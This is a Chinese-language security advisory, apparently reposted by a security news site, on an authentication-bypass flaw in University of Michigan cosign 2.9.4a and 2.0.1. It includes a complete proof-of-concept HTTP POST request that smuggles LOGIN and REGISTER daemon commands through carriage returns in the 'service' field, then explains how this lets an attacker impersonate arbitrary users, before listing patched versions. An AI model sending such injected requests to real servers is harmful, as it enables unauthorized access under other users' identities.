中华网络安全联盟 收藏本站
设为主页
商务合作
首页 新闻中心 行业动态 软件新闻 安全资讯 病毒预警 漏洞发布 操作系统 Dos Win9x Win2000 WinXP Win2003 WinVista Linux Unix
数据库 DB2 Access MSSQL MySQL Oracle Sybase 编程技术 ASP PHP JSP CGI/Perl XML .Net C/C++/C# VB VC Delphi Java 汇编
安全技术 安全教学 工具介绍 漏洞利用 病毒防范 入侵检测 防火墙 安全防范 汉化破解 攻击实例 加密解密 进程知识 技术论坛
中华网络安全联盟 >> 新闻中心 >> 漏洞发布 >> Cosign CGI Register命令远程绕过认证漏洞
新闻中心
行业动态
软件新闻
安全资讯
病毒预警
漏洞发布
Microsoft Windows DN
FreeRadius EAP-TTLS隧
Oracle Applications口
Cisco无线Lan控制器多
Cisco无线控制系统多个
Roxio CinePlayer Son
Cosign CGI Check Coo
IPSec-Tools远程拒绝服
Cosign CGI Register命令远程绕过认证漏洞
字体:

中华网络安全联盟    来源:奇趣    时间:2007-4-14 0:41:40

发布日期:2007-04-10
更新日期:2007-04-12

受影响系统:
University of Michigan cosign 2.9.4a
University of Michigan cosign 2.0.1
不受影响系统:
University of Michigan cosign 2.9.4b
University of Michigan cosign 2.0.2a
描述:

BUGTRAQ  ID: 23424

cosign是美国密歇根大学开发的开源Web单次登录认证系统。

cosign在登录会话上处理上存在漏洞,远程攻击者可能利用此漏洞绕过认证,获取非授权访问。

当已认证用户在登录会话期间试图访问之前没有访问过的服务时,cosign CGI会通过向cosign守护程序发送以下命令将用户的cosign登录cookie(cosign=X)关联到cosign服务cookie(cosign-servicename=Y):

REGISTER cosign=X 1.2.3.4 cosign-servicename=Y

这里1.2.3.4是用户的IP地址,servicename是已认证用户试图访问的cosign所保护服务的名称,X和Y是cosign分配给cookies的值,是cosign生成的128个随机base64字符的字符串。

正常情况下用户浏览器会被cosign所保护的服务自动重新定向到CGI,服务名称会在查询字符串中传输。但是,由于试图访问服务可能会触发再次认证且/或要求用户提供额外的认证因素,因此CGI也可能在隐藏的表单字段中保存服务名。当用户同口令或其他因素提交表单的时候,这些数据通过HTTP POST请求发送给了CGI。

已认证的攻击者可以通过创建恶意POST请求来利用对POST数据不充分输入验证漏洞,扮演成为任意用户的身份。

<*来源:Jon Oberheide (jon@oberheide.org)
  
  链接:http://www.umich.edu/~umweb/software/cosign/cosign-vuln-2007-002.txt
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

POST /cosign-bin/cosign.cgi HTTP/1.0
Host: weblogin.example.com
Cookie: cosign=X
Content-Type: application/x-www-form-urlencoded
Content-Length: N

required=&ref=https%3A%2F%2Fweblogin.example.com%2F&service=cosign-servicename=Y%0DLOGIN cosign=X2 1.2.3.4 username%0DREGISTER cosign=X2 1.2.3.4 cosign-servicename=Y2&login=test&password=pass&passcode=&doLogin=Log+In

在上面的例子中,weblogin.example.com是中央cosign weblogin服务器的名称,X是攻击者的cosign cookie的值(cosign在认证时分配),N是POST数据体的长度,servicename是攻击者试图以其他用户身份所访问的服务的名称,Y是攻击者所生成的cosign服务cookie值(任意128个base64字符的字符串),1.2.3.4是攻击者的IP地址,username是攻击者所要扮演用户身份的用户名,X2和Y2是攻击者所生成的额外两个128个base64字符的字符串。在作为POST请求发送时,Y、X2和Y2中的任何“+”字符都需转义成为“%2B”。

CGI在处理时会将服务字段的值解释成为:

cosign-servicename=Y\rLOGIN cosign=X2 1.2.3.4 username\rDREGISTER cosign=X2 1.2.3.4 cosign-servicename=Y2

这里\r代表回车(单字节0x0D)。

然后CGI试图执行以下命令:

REGISTER cosign=X 1.2.3.4 cosign-servicename=Y\rLOGIN cosign=X2 1.2.3.4 username\rDREGISTER cosign=X2 1.2.3.4 cosign-servicename=Y2

嵌入的回车会被处理为命令分隔符,执行以下命令:

REGISTER cosign=X 1.2.3.4 cosign-servicename=Y
LOGIN cosign=X2 1.2.3.4 username
REGISTER cosign=X2 1.2.3.4 cosign-servicename=Y2

CGI所发送的第一个REGISTER命令要求守护程序为IP地址1.2.3.4将cosign-servicename=Y关联到cosign=X。这可以将攻击者认证到servicename服务。

攻击者所注入的LOGIN命令错误的断言CGI已成功的将攻击者认证为username,要求守护程序在IP地址1.2.3.4将username关联到cosign=X2。

攻击者所注入的第二个REGISTER命令要求守护程序为IP地址1.2.3.4将cosign-servicename=Y2关联到cosign=X2。

然后攻击者可以在对cosign所保护的servicename服务的任意请求中传送cosign-servicename=Y2。运行在cosign所保护服务上的过滤器会用守护程序检查攻击者所提供的cookie,守护程序会用攻击者在上述LOGIN命令中所提供的username响应,这样攻击者就可以无须认证便以username的身份访问servicename服务。

建议:

厂商补丁:

University of Michigan
----------------------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.umich.edu/~umweb/downloads/cosign-1.9.4b.tar.gz
http://www.umich.edu/~umweb/downloads/cosign-2.0.2a.tar.gz
字体:
 
设为主页 收藏本站 联系我们 友情连接 商务合作 网友留言
Copyright©2006-2008 中华网络安全联盟 All rights reserved.